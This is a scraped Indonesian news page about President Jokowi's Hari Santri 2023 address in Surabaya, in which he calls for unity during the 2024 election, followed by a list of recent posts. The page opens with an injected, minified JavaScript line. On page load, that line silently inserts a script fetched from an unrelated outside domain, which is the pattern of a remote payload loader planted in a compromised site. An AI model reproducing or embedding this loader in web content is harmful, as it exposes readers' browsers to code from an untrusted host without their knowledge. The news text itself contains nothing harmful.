(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pimpin Apel Hari Santri, Jokowi Titip Pemilu 2024 Dijaga Bersama


KANALKALIMANTAN.COM, SURABAYA – Presiden Joko Widodo (Jokowi) menekankan pentingnya menjaga persatuan terutama di tahun politik menghadapi Pemilu 2024. Jokowi meminta semua pihak untuk tidak menolak fitnah, hoaks, dan saling menjelekkan selama berlangsungnya Pemilu 2024.

“Pemilu 2024 harus kita jaga bersama dan pastikan berjalan lancar untuk memastikan keberlanjutan pembangunan. Kita tolak fitnah, hoaks dan saling merendahkan serta saling menjelekkan. Kita lawan upaya-upaya yang memecah bangsa,” ujar Jokowi dalam sambutan saat memimpin apel upacara Hari Santri 2023 di Lapangan Tugu Pahlawan Surabaya, Jawa Timur, Minggu (22/10/2023).

Menurut Jokowi, Pemilu adalah ajang kontestasi gagasan dan ide. Hal yang biasa dan wajar menurutnya jika berbeda pilihan.

Baca juga: Hari Santri 2023, Presiden: 36 Ribu Pesantren Jadi Kekuatan Besar Penentu Masa Depan Bangsa

“Kita boleh berbeda pilihan dan itu biasa dan wajar tetapi jangan sampai mengoyak persatuan kita,” lanjutnya.

Jokowi lalu mengenang awal adanya Hari Santri. Dikisahkan Presiden, hal itu bermula dari kunjungannya ke salah satu pesantren di Malang-Jawa Timur sebelum menjabat sebagai Kepala Negara. Saat itu, ada usulan dari para kiai dan santri untuk memutuskan adanya Hari Santri.

“Saat itu saya belum Presiden. Setelah terpilih jadi Presiden, permohonan yang saya ingat dari pesantren di Malang, kita kaji dan tindaklanjuti. Lalu kita putuskan adanya Hari Santri lewat Keputusan Presiden No 22 tahun 2015. Sejak itu kita punya Hari Santri,” tutur Presiden.

Baca juga: Hari Santri 2023, Presiden: 36 Ribu Pesantren Jadi Kekuatan Besar Penentu Masa Depan Bangsa

Dijelaskan presiden, 22 Oktober ditetapkan sebagai Hari Santri, merujuk pada seruan Resolusi Jihad dari Hadratusy-Syaikh Romo Kyai Haji Hasyim Asy’ari. Resolusi itu antara lain menegaskan bahwa melawan penjajah itu wajib, fardu ain, dan meninggal berperang melawan musuh itu hukumnya mati syahid. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

52 menit ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

1 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

16 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

16 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

17 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

18 jam ago

This website uses cookies.